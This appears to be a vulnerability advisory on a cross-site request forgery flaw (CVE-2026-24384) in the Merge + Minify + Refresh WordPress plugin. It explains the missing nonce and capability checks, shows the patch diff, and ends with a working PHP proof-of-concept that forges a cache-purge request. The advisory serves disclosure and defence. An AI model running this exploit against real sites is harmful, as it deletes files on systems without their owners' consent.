Atomic Edge analysis of CVE-2026-24384:
The Merge + Minify + Refresh WordPress plugin contains a Cross-Site Request Forgery vulnerability in versions up to and including 2.14. The vulnerability exists in the plugin’s AJAX file management handler, allowing unauthenticated attackers to trick administrators into performing unauthorized cache purge actions. The CVSS score of 4.3 reflects a medium severity attack requiring user interaction.
Atomic Edge research identifies the root cause as missing nonce validation and insufficient capability checks in the `mmr_files_callback` function within `/merge-minify-refresh/merge-minify-refresh.php`. The original code at lines 242-247 directly processes the `$_POST[‘purge’]` parameter without verifying the request’s authenticity. The function lacked a call to `check_ajax_referer` and did not confirm the user had the `manage_options` capability. This absence of CSRF protection and authorization allowed any request to the admin-ajax.php endpoint with the correct action to trigger file deletion.
Exploitation requires an attacker to craft a malicious web page or link that sends a POST request to `/wp-admin/admin-ajax.php`. The request must include the parameter `action` set to `mmr_files` and the `purge` parameter set to either `all` for a full cache purge or a specific file prefix for targeted deletion. A successful attack tricks a logged-in administrator with the manage_options capability into visiting the malicious page, which automatically submits the forged request using the administrator’s session.
The patch in version 2.15 introduces multiple security layers. It adds a CSRF check with `check_ajax_referer(‘mmr_files_nonce’, ‘nonce’)` at line 244. The patch implements an authorization check with `current_user_can(‘manage_options’)` at line 248. The code now sanitizes user input using `sanitize_text_field()` for the `purge` and `stamp` parameters. The file deletion logic was hardened to verify each match is a file before unlinking. The patch also registers a nonce via `wp_localize_script` for use in legitimate AJAX requests from the admin interface.
Successful exploitation allows an attacker to delete cached CSS and JavaScript files generated by the plugin. This action disrupts site performance and user experience by forcing regeneration of minified assets. While the impact is limited to cache manipulation rather than code execution or data theft, it constitutes an unauthorized administrative action that can degrade site functionality and availability.
--- a/merge-minify-refresh/merge-minify-refresh.php
+++ b/merge-minify-refresh/merge-minify-refresh.php
@@ -3,7 +3,7 @@
* Plugin Name: Merge + Minify + Refresh
* Plugin URI: https://wordpress.org/plugins/merge-minify-refresh
* Description: Merge/Concatenate & Minify CSS & JS.
- * Version: 2.14
+ * Version: 2.15
* Author: Launch Interactive
* Author URI: http://launchinteractive.com.au
* Requires PHP: 7.4
@@ -242,16 +242,43 @@
public function mmr_files_callback()
{
- if(isset($_POST['purge']) && $_POST['purge'] == 'all')
+ //CSRF protection
+ check_ajax_referer('mmr_files_nonce', 'nonce');
+
+ // Authentication / authorization
+ if(!current_user_can('manage_options'))
+ {
+ wp_send_json_error('Unauthorized', 403);
+ }
+
+ $purge = isset($_POST['purge']) ? sanitize_text_field($_POST['purge']) : '';
+
+ if($purge == 'all')
{
$this->purgeAll();
}
- else if(isset($_POST['purge']))
+ else if($purge !== '')
{
- array_map('unlink', glob(MMR_CACHE_DIR . '/' . basename($_POST['purge']) . '*'));
+ $matches = glob(MMR_CACHE_DIR . '/' . basename($purge) . '*');
+ if($matches)
+ {
+ foreach($matches as $file)
+ {
+ if(is_file($file))
+ {
+ unlink($file);
+ }
+ }
+ }
}
- $return = array('js'=>array(),'css'=>array(),'stamp'=>$_POST['stamp']);
+ $stamp = isset($_POST['stamp']) ? sanitize_text_field($_POST['stamp']) : '';
+
+ $return = array(
+ 'js'=>array(),
+ 'css'=>array(),
+ 'stamp'=>$stamp
+ );
$files = glob(MMR_CACHE_DIR . '/*.log');
@@ -263,6 +290,11 @@
$ext = pathinfo($script_path, PATHINFO_EXTENSION);
+ if(!in_array($ext, ['js', 'css'], true))
+ {
+ continue;
+ }
+
$log = file_get_contents($file);
$error = false;
@@ -328,10 +360,7 @@
}
}
- header('Content-Type: application/json');
- echo json_encode($return);
-
- wp_die(); // this is required to terminate immediately and return a proper response
+ wp_send_json($return);
}
public function plugin_deactivate()
@@ -383,6 +412,9 @@
$pluginDir = plugin_dir_path(__FILE__);
wp_enqueue_style( 'merge-minify-refresh', plugins_url('admin.css', __FILE__), array(), filemtime($pluginDir . 'admin.css'));
wp_enqueue_script( 'merge-minify-refresh', plugins_url('admin.js', __FILE__), array(), filemtime($pluginDir . 'admin.js'), true );
+ wp_localize_script('merge-minify-refresh', 'mmr', array(
+ 'nonce' => wp_create_nonce('mmr_files_nonce')
+ ));
}
public function admin_menu()
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24384 - Merge + Minify + Refresh <= 2.14 - Cross-Site Request Forgery
<?php
// Configure target WordPress site
$target_url = 'http://vulnerable-wordpress-site.com';
// Construct the AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Prepare the malicious POST data
// The 'action' parameter must match the plugin's registered AJAX hook: 'mmr_files'
// The 'purge' parameter can be 'all' to clear entire cache or a filename prefix
$post_data = array(
'action' => 'mmr_files',
'purge' => 'all' // Change to specific file prefix for targeted deletion
);
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute the forged request
// In a real attack, this would be triggered automatically when a victim visits a malicious page
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check response
if ($http_code == 200) {
echo "CSRF attack likely successful. Response: " . htmlspecialchars($response);
} else {
echo "Request failed with HTTP code: " . $http_code;
}
?>